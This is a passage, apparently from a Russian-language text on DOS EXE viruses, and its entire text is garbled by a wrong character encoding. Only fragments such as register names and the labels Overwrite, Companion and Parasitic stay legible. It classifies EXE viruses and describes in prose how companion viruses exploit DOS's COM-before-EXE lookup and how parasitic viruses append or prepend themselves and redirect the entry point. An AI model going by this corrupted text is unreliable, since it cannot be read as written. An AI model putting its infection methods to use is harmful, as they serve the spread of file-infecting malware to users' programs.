12. ΠΠ½ΠΈΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΡΡΡΡΡ ΡΠ΅Π³ΠΈΡΡΡΡ, Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°:
a) ES=DS=PSP;
b) ΠΠ₯=ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΡΡΠΈ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡΠΎΠ² Π΄ΡΠ°ΠΉΠ²Π΅ΡΠΎΠ², ΡΠΊΠ°Π·Π°Π½Π½ΡΡ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅;
c) SS=START_SEG+ReloSS, SP=ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
ΠΠ»Π°ΡΡΠΈΡΠΈΠΊΠ°ΡΠΈΡ EXE-Π²ΠΈΡΡΡΠΎΠ²
EXE-Π²ΠΈΡΡΡΡ ΡΡΠ»ΠΎΠ²Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ Π½Π° Π³ΡΡΠΏΠΏΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΠΏΡΠΈΠ·Π½Π°ΠΊΠ° Π΄Π»Ρ Π΄Π΅Π»Π΅Π½ΠΈΡ ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡΠΈ Π°Π»Π³ΠΎΡΠΈΡΠΌΠ°.
ΠΠΈΡΡΡΡ, Π·Π°ΠΌΠ΅ΡΠ°ΡΡΠΈΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΠΉ ΠΊΠΎΠ΄ (Overwrite)
Π’Π°ΠΊΠΈΠ΅ Π²ΠΈΡΡΡΡ ΡΠΆΠ΅ ΡΡΠ°Π»ΠΈ ΡΠ°ΡΠΈΡΠ΅ΡΠΎΠΌ. ΠΠ»Π°Π²Π½ΡΠΉ ΠΈΡ Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΠΊ β ΡΠ»ΠΈΡΠΊΠΎΠΌ Π³ΡΡΠ±Π°Ρ ΡΠ°Π±ΠΎΡΠ°. ΠΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π½Π΅ ΠΈΡΠΏΠΎΠ»Π½ΡΡΡΡΡ, ΡΠ°ΠΊ ΠΊΠ°ΠΊ Π²ΠΈΡΡΡ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ ΠΏΠΎΠ²Π΅ΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°, Π½Π΅ ΡΠΎΡ ΡΠ°Π½ΡΡ Π΅Π³ΠΎ. ΠΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ Π²ΠΈΡΡΡ ΠΈΡΠ΅Ρ ΠΎΡΠ΅ΡΠ΅Π΄Π½ΡΡ ΠΆΠ΅ΡΡΠ²Ρ (ΠΈΠ»ΠΈ ΠΆΠ΅ΡΡΠ²Ρ), ΠΎΡΠΊΡΡΠ²Π°Π΅Ρ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ» Π΄Π»Ρ ΡΠ΅Π΄Π°ΠΊΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ ΠΈ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅Ρ ΡΠ²ΠΎΠ΅ ΡΠ΅Π»ΠΎ Π² Π½Π°ΡΠ°Π»ΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π½Π΅ ΡΠΎΡ ΡΠ°Π½ΡΡ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄. ΠΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠ΅ ΡΡΠΈΠΌΠΈ Π²ΠΈΡΡΡΠ°ΠΌΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π»Π΅ΡΠ΅Π½ΠΈΡ Π½Π΅ ΠΏΠΎΠ΄Π»Π΅ΠΆΠ°Ρ.
ΠΠΈΡΡΡΡ-ΡΠΏΡΡΠ½ΠΈΠΊΠΈ (Companion)
ΠΡΠΈ Π²ΠΈΡΡΡΡ ΠΏΠΎΠ»ΡΡΠΈΠ»ΠΈ ΡΠ²ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΈΠ·-Π·Π° Π°Π»Π³ΠΎΡΠΈΡΠΌΠ° ΡΠ°Π·ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΡ: ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΡΠ°ΠΉΠ»-ΡΠΏΡΡΠ½ΠΈΠΊ. Π Π°ΡΡΠΌΠΎΡΡΠΈΠΌ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎ Π΄Π²Π° ΡΠΈΠΏΠ° Π²ΠΈΡΡΡΠΎΠ² ΡΡΠΎΠΉ Π³ΡΡΠΏΠΏΡ:
ΠΠΈΡΡΡΡ ΠΏΠ΅ΡΠ²ΠΎΠ³ΠΎ ΡΠΈΠΏΠ° ΡΠ°Π·ΠΌΠ½ΠΎΠΆΠ°Π΅ΡΡΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ. ΠΠ»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠ³ΠΎ EXE-ΡΠ°ΠΉΠ»Π° Π² ΡΠΎΠΌ ΠΆΠ΅ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ ΡΠΎΠ·Π΄Π°Π΅ΡΡΡ ΡΠ°ΠΉΠ» Ρ Π²ΠΈΡΡΡΠ½ΡΠΌ ΠΊΠΎΠ΄ΠΎΠΌ, ΠΈΠΌΠ΅ΡΡΠΈΠΉ ΡΠ°ΠΊΠΎΠ΅ ΠΆΠ΅ ΠΈΠΌΡ, ΡΡΠΎ ΠΈ EXE-ΡΠ°ΠΉΠ», Π½ΠΎ Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ COM. ΠΠΈΡΡΡ Π°ΠΊΡΠΈΠ²ΠΈΡΡΠ΅ΡΡΡ, Π΅ΡΠ»ΠΈ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ ΡΠΊΠ°Π·Π°Π½ΠΎ ΡΠΎΠ»ΡΠΊΠΎ ΠΈΠΌΡ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°. ΠΠ΅Π»ΠΎ Π² ΡΠΎΠΌ, ΡΡΠΎ, Π΅ΡΠ»ΠΈ Π½Π΅ ΡΠΊΠ°Π·Π°Π½ΠΎ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»Π°, DOS ΡΠ½Π°ΡΠ°Π»Π° ΠΈΡΠ΅Ρ Π² ΡΠ΅ΠΊΡΡΠ΅ΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ ΡΠ°ΠΉΠ» Ρ Π·Π°Π΄Π°Π½Π½ΡΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ COM. ΠΡΠ»ΠΈ COM-ΡΠ°ΠΉΠ» Ρ ΡΠ°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½, Π²Π΅Π΄Π΅ΡΡΡ ΠΏΠΎΠΈΡΠΊ ΠΎΠ΄Π½ΠΎΠΈΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ EXE-ΡΠ°ΠΉΠ»Π°. ΠΡΠ»ΠΈ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ ΠΈ EXE-ΡΠ°ΠΉΠ», DOS ΠΏΠΎΠΏΡΠΎΠ±ΡΠ΅Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΡΡ BAT (ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ) ΡΠ°ΠΉΠ». Π ΡΠ»ΡΡΠ°Π΅ ΠΎΡΡΡΡΡΡΠ²ΠΈΡ Π² ΡΠ΅ΠΊΡΡΠ΅ΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° Ρ ΡΠΊΠ°Π·Π°Π½Π½ΡΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΏΠΎΠΈΡΠΊ Π²Π΅Π΄Π΅ΡΡΡ Π²ΠΎ Π²ΡΠ΅Ρ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π°Ρ , Π΄ΠΎΡΡΡΠΏΠ½ΡΡ ΠΏΠΎ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ PATH. ΠΡΡΠ³ΠΈΠΌΠΈ ΡΠ»ΠΎΠ²Π°ΠΌΠΈ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Ρ ΠΎΡΠ΅Ρ Π·Π°ΠΏΡΡΡΠΈΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΈ Π½Π°Π±ΠΈΡΠ°Π΅Ρ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ ΡΠΎΠ»ΡΠΊΠΎ Π΅Π΅ ΠΈΠΌΡ (Π² ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΌ ΡΠ°ΠΊ Π²ΡΠ΅ ΠΈ Π΄Π΅Π»Π°ΡΡ), ΠΏΠ΅ΡΠ²ΡΠΌ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡΡΠ°Π΅Ρ Π²ΠΈΡΡΡ, ΠΊΠΎΠ΄ ΠΊΠΎΡΠΎΡΠΎΠ³ΠΎ Π½Π°Ρ ΠΎΠ΄ΠΈΡΡΡ Π² COM-ΡΠ°ΠΉΠ»Π΅. ΠΠ½ ΡΠΎΠ·Π΄Π°Π΅Ρ COM-ΡΠ°ΠΉΠ» Π΅ΡΠ΅ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΈΠΌ EXE-ΡΠ°ΠΉΠ»Π°ΠΌ (ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½ΡΠ΅ΡΡΡ), Π° Π·Π°ΡΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅Ρ EXE-ΡΠ°ΠΉΠ» Ρ ΡΠΊΠ°Π·Π°Π½Π½ΡΠΌ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΈΠΌΠ΅Π½Π΅ΠΌ. ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΆΠ΅ Π΄ΡΠΌΠ°Π΅Ρ, ΡΡΠΎ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠΎΠ»ΡΠΊΠΎ Π·Π°ΠΏΡΡΠ΅Π½Π½Π°Ρ EXE-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°. ΠΠΈΡΡΡ-ΡΠΏΡΡΠ½ΠΈΠΊ ΠΎΠ±Π΅Π·Π²ΡΠ΅Π΄ΠΈΡΡ Π΄ΠΎΠ²ΠΎΠ»ΡΠ½ΠΎ ΠΏΡΠΎΡΡΠΎ β Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΡΠ΄Π°Π»ΠΈΡΡ COM-ΡΠ°ΠΉΠ».
ΠΠΈΡΡΡΡ Π²ΡΠΎΡΠΎΠ³ΠΎ ΡΠΈΠΏΠ° Π΄Π΅ΠΉΡΡΠ²ΡΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΠΎΠ½ΠΊΠΎ. ΠΠΌΡ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠ³ΠΎ EXE-ΡΠ°ΠΉΠ»Π° ΠΎΡΡΠ°Π΅ΡΡΡ ΠΏΡΠ΅ΠΆΠ½ΠΈΠΌ, Π° ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ Π·Π°ΠΌΠ΅Π½ΡΠ΅ΡΡΡ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ Π΄ΡΡΠ³ΠΈΠΌ, ΠΎΡΠ»ΠΈΡΠ½ΡΠΌ ΠΎΡ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ (COM, EXE ΠΈ BAT). ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠ°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ DAT (ΡΠ°ΠΉΠ» Π΄Π°Π½Π½ΡΡ ) ΠΈΠ»ΠΈ OVL (ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ½ΡΠΉ ΠΎΠ²Π΅ΡΠ»Π΅ΠΉ). ΠΠ°ΡΠ΅ΠΌ Π½Π° ΠΌΠ΅ΡΡΠΎ EXE-ΡΠ°ΠΉΠ»Π° ΠΊΠΎΠΏΠΈΡΡΠ΅ΡΡΡ Π²ΠΈΡΡΡΠ½ΡΠΉ ΠΊΠΎΠ΄. ΠΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΡΠ°ΠΊΠΎΠΉ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡΡΠ°Π΅Ρ Π²ΠΈΡΡΡΠ½ΡΠΉ ΠΊΠΎΠ΄, Π½Π°Ρ ΠΎΠ΄ΡΡΠΈΠΉΡΡ Π² EXE-ΡΠ°ΠΉΠ»Π΅. ΠΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π² Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ EXE-ΡΠ°ΠΉΠ»ΠΎΠ² ΡΠ°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, Π²ΠΈΡΡΡ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ΅ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ (Π½ΠΎ Π½Π΅ EXE, Π° COM, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ EXE-ΡΠ°ΠΉΠ» Ρ ΡΠ°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π·Π°Π½ΡΡ Π²ΠΈΡΡΡΠΎΠΌ), ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅Ρ Π΅Π³ΠΎ. ΠΠΎΠ³Π΄Π° ΡΠ°Π±ΠΎΡΠ° ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π·Π°ΠΊΠΎΠ½ΡΠ΅Π½Π°, Π΅Π΅ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌΠΎΠΌΡ ΡΠ°ΠΉΠ»Ρ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΡΡΡ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ Π½Π΅ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ. ΠΠ΅ΡΠ΅Π½ΠΈΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ², Π·Π°ΡΠ°ΠΆΠ΅Π½Π½ΡΡ Π²ΠΈΡΡΡΠΎΠΌ ΡΡΠΎΠ³ΠΎ ΡΠΈΠΏΠ°, ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π·Π°ΡΡΡΠ΄Π½Π΅Π½ΠΎ, Π΅ΡΠ»ΠΈ Π²ΠΈΡΡΡ-ΡΠΏΡΡΠ½ΠΈΠΊ ΡΠΈΡΡΡΠ΅Ρ ΡΠ°ΡΡΡ ΠΈΠ»ΠΈ Π²ΡΠ΅ ΡΠ΅Π»ΠΎ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°, Π° ΠΏΠ΅ΡΠ΅Π΄ ΠΈΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Π΅Π³ΠΎ ΡΠ°ΡΡΠΈΡΡΠΎΠ²ΡΠ²Π°Π΅Ρ.
ΠΠΈΡΡΡΡ, Π²Π½Π΅Π΄ΡΡΡΡΠΈΠ΅ΡΡ Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ (Parasitic)
ΠΠΈΡΡΡΡ ΡΡΠΎΠ³ΠΎ Π²ΠΈΠ΄Π° ΡΠ°ΠΌΡΠ΅ Π½Π΅Π·Π°ΠΌΠ΅ΡΠ½ΡΠ΅: ΠΈΡ ΠΊΠΎΠ΄ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΡΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΡΡΠΎ ΡΡΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎ Π·Π°ΡΡΡΠ΄Π½ΡΠ΅Ρ Π»Π΅ΡΠ΅Π½ΠΈΠ΅ Π·Π°ΡΠ°ΠΆΠ΅Π½Π½ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ². Π Π°ΡΡΠΌΠΎΡΡΠΈΠΌ ΠΌΠ΅ΡΠΎΠ΄Ρ Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΡ EXE-Π²ΠΈΡΡΡΠΎΠ² Π² EXE-ΡΠ°ΠΉΠ».
Π‘ΠΏΠΎΡΠΎΠ±Ρ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ EXE-ΡΠ°ΠΉΠ»ΠΎΠ²
Π‘Π°ΠΌΡΠΉ ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½Π΅Π½Π½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ EXE-ΡΠ°ΠΉΠ»ΠΎΠ² ΡΠ°ΠΊΠΎΠΉ: Π² ΠΊΠΎΠ½Π΅Ρ ΡΠ°ΠΉΠ»Π° Π΄ΠΎΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ ΡΠ΅Π»ΠΎ Π²ΠΈΡΡΡΠ°, Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΡΡΡ (Ρ ΡΠΎΡ ΡΠ°Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΠΎΠ³ΠΎ) ΡΠ°ΠΊ, ΡΡΠΎΠ±Ρ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡΡΠ°Π» Π²ΠΈΡΡΡ. ΠΠΎΡ ΠΎΠΆΠ΅ Π½Π° Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ COM-ΡΠ°ΠΉΠ»ΠΎΠ², Π½ΠΎ Π²ΠΌΠ΅ΡΡΠΎ Π·Π°Π΄Π°Π½ΠΈΡ Π² ΠΊΠΎΠ΄Π΅ ΠΏΠ΅ΡΠ΅Ρ ΠΎΠ΄Π° Π² Π½Π°ΡΠ°Π»ΠΎ Π²ΠΈΡΡΡΠ° ΠΊΠΎΡΡΠ΅ΠΊΡΠΈΡΡΠ΅ΡΡΡ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΠΎ Π°Π΄ΡΠ΅Ρ ΡΠΎΡΠΊΠΈ Π·Π°ΠΏΡΡΠΊΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠΎΡΠ»Π΅ ΠΎΠΊΠΎΠ½ΡΠ°Π½ΠΈΡ ΡΠ°Π±ΠΎΡΡ Π²ΠΈΡΡΡ Π±Π΅ΡΠ΅Ρ ΠΈΠ· ΡΠΎΡ ΡΠ°Π½Π΅Π½Π½ΠΎΠ³ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ Π°Π΄ΡΠ΅Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, ΠΏΡΠΈΠ±Π°Π²Π»ΡΠ΅Ρ ΠΊ Π΅Π³ΠΎ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠ½ΠΎΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ ΡΠ΅Π³ΠΈΡΡΡΠ° DS ΠΈΠ»ΠΈ ES (ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΠΎΠ΅ ΠΏΡΠΈ ΡΡΠ°ΡΡΠ΅ Π²ΠΈΡΡΡΠ°) ΠΈ ΠΏΠ΅ΡΠ΅Π΄Π°Π΅Ρ ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΡΠΉ Π°Π΄ΡΠ΅Ρ.
Π‘Π»Π΅Π΄ΡΡΡΠΈΠΉ ΡΠΏΠΎΡΠΎΠ± β Π²Π½Π΅Π΄ΡΠ΅Π½ΠΈΠ΅ Π²ΠΈΡΡΡΠ° Π² Π½Π°ΡΠ°Π»ΠΎ ΡΠ°ΠΉΠ»Π° ΡΠΎ ΡΠ΄Π²ΠΈΠ³ΠΎΠΌ ΠΊΠΎΠ΄Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. ΠΠ΅Ρ Π°Π½ΠΈΠ·ΠΌ Π·Π°ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΡΠ°ΠΊΠΎΠΉ: ΡΠ΅Π»ΠΎ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΡΡΠΈΡΡΠ²Π°Π΅ΡΡΡ Π² ΠΏΠ°ΠΌΡΡΡ, Π½Π° Π΅Π΅ ΠΌΠ΅ΡΡΠΎ Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅ΡΡΡ Π²ΠΈΡΡΡΠ½ΡΠΉ ΠΊΠΎΠ΄, Π° ΠΏΠΎΡΠ»Π΅ Π½Π΅Π³ΠΎ β ΠΊΠΎΠ΄ ΠΈΠ½ΡΠΈΡΠΈΡΡΠ΅ΠΌΠΎΠΉ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΊΠΎΠ΄ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ ΠΊΠ°ΠΊ Π±Ρ Β«ΡΠ΄Π²ΠΈΠ³Π°Π΅ΡΡΡΒ» Π² ΡΠ°ΠΉΠ»Π΅ Π½Π° Π΄Π»ΠΈΠ½Ρ ΠΊΠΎΠ΄Π° Π²ΠΈΡΡΡΠ°. ΠΡΡΡΠ΄Π° ΠΈ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡΠΏΠΎΡΠΎΠ±Π° β Β«ΡΠΏΠΎΡΠΎΠ± ΡΠ΄Π²ΠΈΠ³Π°Β». ΠΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° Π²ΠΈΡΡΡ Π·Π°ΡΠ°ΠΆΠ°Π΅Ρ Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°ΠΉΠ»ΠΎΠ². ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΠΎΠ½ ΡΡΠΈΡΡΠ²Π°Π΅Ρ Π² ΠΏΠ°ΠΌΡΡΡ ΠΊΠΎΠ΄ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ, Π·Π°ΠΏΠΈΡΡΠ²Π°Π΅Ρ Π΅Π³ΠΎ Π² ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π½Π½ΡΠΉ Π½Π° Π΄ΠΈΡΠΊΠ΅ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ» Ρ ΡΠ°ΡΡΠΈΡΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π° (COM ΠΈΠ»ΠΈ EXE), ΠΈ Π·Π°ΡΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅Ρ ΡΡΠΎΡ ΡΠ°ΠΉΠ». ΠΠΎΠ³Π΄Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π·Π°ΠΊΠΎΠ½ΡΠΈΠ»Π° ΡΠ°Π±ΠΎΡΡ, Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΠΉ ΡΠ°ΠΉΠ» ΡΠ΄Π°Π»ΡΠ΅ΡΡΡ. ΠΡΠ»ΠΈ ΠΏΡΠΈ ΡΠΎΠ·Π΄Π°Π½ΠΈΠΈ Π²ΠΈΡΡΡΠ° Π½Π΅ ΠΏΡΠΈΠΌΠ΅Π½ΡΠ»ΠΎΡΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΏΡΠΈΠ΅ΠΌΠΎΠ² Π·Π°ΡΠΈΡΡ, ΡΠΎ Π²ΡΠ»Π΅ΡΠΈΡΡ ΠΈΠ½ΡΠΈΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ ΡΠ°ΠΉΠ» ΠΎΡΠ΅Π½Ρ ΠΏΡΠΎΡΡΠΎ β Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΠΎ ΡΠ΄Π°Π»ΠΈΡΡ ΠΊΠΎΠ΄ Π²ΠΈΡΡΡΠ° Π² Π½Π°ΡΠ°Π»Π΅ ΡΠ°ΠΉΠ»Π°, ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° ΡΠ½ΠΎΠ²Π° Π±ΡΠ΄Π΅Ρ ΡΠ°Π±ΠΎΡΠΎΡΠΏΠΎΡΠΎΠ±Π½ΠΎΠΉ. ΠΠ΅Π΄ΠΎΡΡΠ°ΡΠΎΠΊ ΡΡΠΎΠ³ΠΎ ΠΌΠ΅ΡΠΎΠ΄Π° Π² 